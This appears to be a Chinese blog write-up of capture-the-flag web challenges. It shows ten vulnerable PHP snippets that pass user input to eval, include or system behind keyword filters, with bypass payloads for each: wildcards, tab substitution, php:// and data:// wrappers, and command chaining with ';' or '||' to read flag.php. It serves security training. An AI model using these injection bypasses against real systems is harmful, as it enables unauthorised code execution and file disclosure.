web 各种绕过

1.

if(isset($_GET['c'])){   
$c = $_GET['c'];   
    if(!preg_match("/flag/i", $c)){      
        eval($c);   
    }   
}   
else{  
    highlight_file(__FILE__);   
}

利用函数:eval()

绕过思路:通配符绕过flag过滤

Payload1:/?c=system(“ls”); #找到flag.php

Payload2:/?c=system(“cat fla*”);

2.

if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php/i", $c)){
        eval($c);
    }

}else{
    highlight_file(__FILE__);
}

利用函数:eval()

绕过思路:过滤了system,这里使用echo。flag,php过滤继续用通配符绕过。

Payload1:?c=echo `cat *`;

3.

if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
        eval($c);
    }

}else{
    highlight_file(__FILE__);
}

利用函数:eval()

绕过思路:过滤了system,这里使用echo。flag,php过滤继续用通配符绕过。空格用%09绕过,cat被过滤了换成tac。

Payload1:?c=echo `tac%09*`;

4.

if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
        eval($c);
    }

}

利用函数:eval()

绕过思路:过滤了system,echo,这里可以使用passthru,但是这次还过滤了括号,所以passthru也没有办法用,这里使用文件包含,通过php://filter协议进行读取文件。

Payload1: c=$nice=include$_GET["url"]?>&url=php://filter/read=convert.base64-encode/resource=flag.php

5.

if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c);
        echo $flag;
    }
}

利用函数:include()

绕过思路:文件包含常用攻击手法,伪协议读取文件内容

Payload1: ?c=data:text/plain,<?=system("tac fla*");?>

6.

if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
        eval($c);
    }
}

利用函数:eval()

绕过思路:过滤了数字和许多东西,但是没有过滤掉英文的括号。

print_r(scandir(‘.’)); 查看当前目录下的所有文件名 ,开始构造。 localeconv() 函数返回一包含本地数字及货币格式信息的数组,第一个值为”.”。 current() 函数返回数组中的当前元素(单元),默认取第一个值,pos是current的别名 ,读取目录文件后,发现输出的是数组,而文件名是数组中的值,下一步我们需要取出想要读取文件的数组. each() 返回数组中当前的键/值对并将数组指针向前移动一步 end() 将数组的内部指针指向最后一个单元 next() 将数组中的内部指针向前移动一位 prev() 将数组中的内部指针倒回一位 array_reverse() 以相反的元素顺序返回数组 需要知识点齐了,观察flag.php在倒数第二位,我们开始构造。#current(localeconv()) == getcwd()

Payload1: ?c=print_r(scandir(current(localeconv()))); #打印当前目录下的文件

Payload2:?c=show_source(next(array_reverse(scandir(getcwd()))));

7.

if(isset($_POST['c'])){
  $c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
    eval("echo($c);");
  }
}

利用函数:echo

绕过思路:把数字和字母都给过滤了,这里的思路是构造system(“ls”),但是字母被过滤。没有过滤“|”,利用它构造。

8.

if(isset($_GET['c'])){
    $c=$_GET['c'];
    system($c." >/dev/null 2>&1");
}

利用函数:system()

绕过思路:这里是通过”>/dev/null 2>&1”把输出的内容不进行回显,我们通过“;”进行截断,回显出flag.

Payload1: ls;

Payload2: cat flag.php;

9.

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}

利用函数:system()

绕过思路:这里是通过”>/dev/null 2>&1”把输出的内容不进行回显,“;”也被过滤了,我们使用命令分隔符“||”进行截断。

Payload1: ls||

Payload2: tac flag.php||

10.

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/;|cat|flag/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}

利用函数:system()

绕过思路:这里是通过”>/dev/null 2>&1”把输出的内容不进行回显,“;”也被过滤了,我们使用命令分隔符“||”进行截断,又多过滤了flag,用通配符绕过。

Payload1: ls||

Payload2: tac fla*||

  • 1
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值